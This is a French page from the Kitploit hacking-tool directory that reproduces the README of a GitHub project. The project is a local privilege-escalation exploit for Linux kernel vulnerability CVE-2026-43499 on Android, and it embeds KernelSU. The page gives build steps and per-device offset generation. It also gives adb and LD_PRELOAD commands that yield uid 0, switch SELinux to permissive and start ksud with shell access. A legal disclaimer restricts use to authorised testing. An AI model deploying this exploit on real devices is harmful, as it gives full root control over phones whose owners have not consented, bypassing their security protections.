Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43499-root-KernelSU — Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité noyau CVE-2026-43499, intégrant KernelSU embarqué. Mode jailbreak CVE-2026-43499+KernelSU. | Kitploit
Outils/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
Sécurité AndroidEscalade de PrivilègesExploitationDéveloppement de Charges UtilesExploitation de Binaires
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité noyau CVE-2026-43499, intégrant KernelSU embarqué. Mode jailbreak CVE-2026-43499+KernelSU.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
18323il y a 2 moisVérifié par Kitploit
# CVE-2026-43499-root-KernelSU

Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité du noyau CVE-2026-43499, intégrant un KernelSU embarqué. La compilation génère `preload.so` ; après un déclenchement réussi, KernelSU est démarré en mode `late-load` (mode jailbreak). Prend en charge la génération de `target.h` à partir de `(xbl_config.img / vendor_boot.img) + boot.img`.

Adaptation d'élévation de privilèges locaux basée sur une vulnérabilité du noyau, intégrant un KernelSU embarqué. Compile et génère `preload.so` ; après une exploitation réussie, KernelSU est démarré en mode `late-load` (mode jailbreak). Prend en charge la génération de `target.h` à partir de `(xbl_config.img / vendor_boot.img) + boot.img`, ou d'une autre manière.

Projets de référence :

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

> [!IMPORTANT]
> L'exploitation non autorisée de vulnérabilités pour endommager, compromettre ou accéder à des systèmes informatiques est interdite par la loi. Ce projet est fourni strictement à des fins de recherche, d'éducation et d'apprentissage, et ne peut être utilisé que sur des systèmes et dans des environnements pour lesquels une autorisation préalable a été accordée. Toute utilisation de ce projet est effectuée aux risques de l'utilisateur. Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive de ce projet ou de tout dommage, perte ou conséquence juridique résultant de son utilisation.
>
> Avertissement : l'exploitation non autorisée de vulnérabilités pour endommager, s'introduire dans ou accéder sans autorisation à des systèmes informatiques peut violer les lois et réglementations applicables. Ce projet est strictement limité à la recherche, à l'étude et aux tests de sécurité sur des systèmes et environnements ayant reçu une autorisation légale. Toute perte directe ou indirecte, responsabilité légale ou autre conséquence résultant de l'utilisation, de l'abus ou de la modification de ce projet est à la charge exclusive de l'utilisateur ; les auteurs et contributeurs du projet n'assument aucune responsabilité.

## Versions concernées

**Lorsque votre version du noyau est {Linux Kernel}, elle se trouve dans la portée de cette vulnérabilité.**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**

## État actuel

| Target | Statut |
| --- | --- |
| `rodin` (défaut) | Vérifié |
| Autres `src/targets/*` | Référence |

## Structure du répertoire

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## Construction

### Dépendances

- Linux host
- Android NDK
  - Chemin par défaut : `~/android-ndk-r29`
  - Ou définissez : `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### Compilation

```bash
make PROJECT=<target> -j$(nproc)
```

Sortie :

```text
build/<target>/bin/preload.so
```

### Voir les targets disponibles

```bash
make list-projects
```

## Génération de target.h

Ce dépôt intègre déjà un script unifié de génération de target :

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` est le script d'entrée. Il s'inspire et encapsule tous les processus de génération de target du répertoire parent, et produit finalement un `src/targets/<project>/target.h` complet adapté au code source de ce dépôt.

Le script ne valide pas de manière obligatoire `CONFIG_DEBUG_INFO_BTF=y` dans IKCONFIG. Si les décalages des champs de structure ou la disposition percpu `entry_task` ne peuvent pas être validés, il affiche un avertissement et poursuit la génération.

Si l'image ne contient aucun BTF exploitable, par exemple si le message suivant apparaît :

```text
有效 vmlinux BTF 候选不唯一: []
```

Le générateur passe alors en **fallback sans BTF** :

- Il continue de récupérer les décalages des symboles de fonctions/objets globaux à partir des kallsyms du `boot.img` actuel ;
- Les macros de champs de structure/layout qui ne peuvent pas être récupérées depuis BTF héritent de la target template, dont le template par défaut est `rodin` ;
- Un avertissement est écrit en haut du header généré, indiquant `without BTF` et le template utilisé ;
- Ce type de header garantit une compilabilité aussi bonne que possible, mais sa fiabilité à l'exécution doit être validée sur du matériel réel.

Vous pouvez spécifier un template de fallback :

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. Génération avec boot.img + profile JSON

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

Écrit par défaut dans :

```text
src/targets/<project>/target.h
```

Vous pouvez également appeler directement le script :

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

`profile.json` doit contenir les informations d'adresses physiques, par exemple :

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. Détection du profile depuis un appareil ADB rooté

Générer uniquement le profile :

```bash
make detect-profile PROFILE_OUT=profile.json
```

Détecter le profile et générer immédiatement la target :

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. Génération avec (xbl_config.img / vendor_boot.img) + boot.img

Le script expose également les autres points d'entrée pris en charge par le générateur du répertoire parent :

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### Exemple

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

Exemple de sortie en cas de succès :

```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```

`rodin` conserve par défaut la valeur validée sur matériel réel :

```c
#define MM_STRUCT_SZ 0x500
```

Pour la remplacer :

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## Ajouter une nouvelle target

Il est recommandé de générer à partir d'une image boot et d'un profile correspondants :

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

Un header de target complet contient :

- constantes direct map / profil physique
- décalages d'objets KASLR slide
- décalages task / cred / SELinux
- décalages pipe / fops / configfs
- valeurs de layout pselect, par exemple `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` et valeurs de réglage KernelSnitch

## Exécution

Le code source actuel contient déjà des valeurs par défaut ; pour une exécution normale, il suffit de définir `LD_PRELOAD` et d'exécuter n'importe quel programme (par exemple `toybox id`).

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Paramètres d'exécution par défaut

Les paramètres par défaut actuels sont les suivants :

| Paramètre | Valeur par défaut | Description |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Exécute `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Passe `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Nom du paquet du gestionnaire transmis à ksud (semble sans effet) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Chemin d'écriture du ksud intégré |
| `KSUD_SKIP_WRITE` | `0` | Écrit le ksud intégré par défaut |
| `KSUD_DEFER_TO_PARENT` | `1` | Démarre ksud à partir du chemin du processus parent/actuel déjà patché |
| `ROOT_PATCH_SELF` | `1` | Patch le processus actuel pour qu'il soit uid 0 |
| `DISABLE_SELINUX` | `1` | Lors du patch root, définit SELinux enforcing en permissive |
| `ROOT_EXIT_SLEEP` | unset / `0` | N'ajoute pas de sleep supplémentaire avant de retourner |

La ligne de commande ksud réellement exécutée par défaut est :

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

Ces variables d'environnement peuvent toujours être remplacées à l'exécution, par exemple :

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

Réutiliser le `ksud` déjà écrit :

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Nettoyage

```bash
make clean
```

`make clean` conserve `build/embed/ksud`, car `src/ksud_blob.S` l'intègre de la manière suivante :

```asm
.incbin "build/embed/ksud"
```

Si un nettoyage manuel entraîne la perte de `build/embed/ksud`, vous pouvez le restaurer :

```bash
git checkout -- build/embed/ksud
```

## Problèmes courants

### `.incbin "build/embed/ksud"` introuvable

Après avoir restauré le payload intégré, reconstruisez :

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### La route FOPS renvoie `success=0`

`rodin` attend un layout pselect legacy/simple :

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

Si l'état de l'appareil a été pollué par des tentatives échouées, redémarrez puis réessayez :

```bash
adb reboot
```

### `F_SETPIPE_SZ` renvoie `EPERM`

Il s'agit généralement d'un problème d'état provoqué par des tentatives échouées/résiduelles ; le redémarrage est le moyen de nettoyage le plus rapide :

```bash
adb reboot
```

### `ksud` démarre mais `/proc/modules` ne contient pas KernelSU

Consultez les journaux :

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

Si nécessaire, exécutez manuellement dans un shell root :

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## Licence

GPL-3.0. Voir [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).
Télécharger l’outil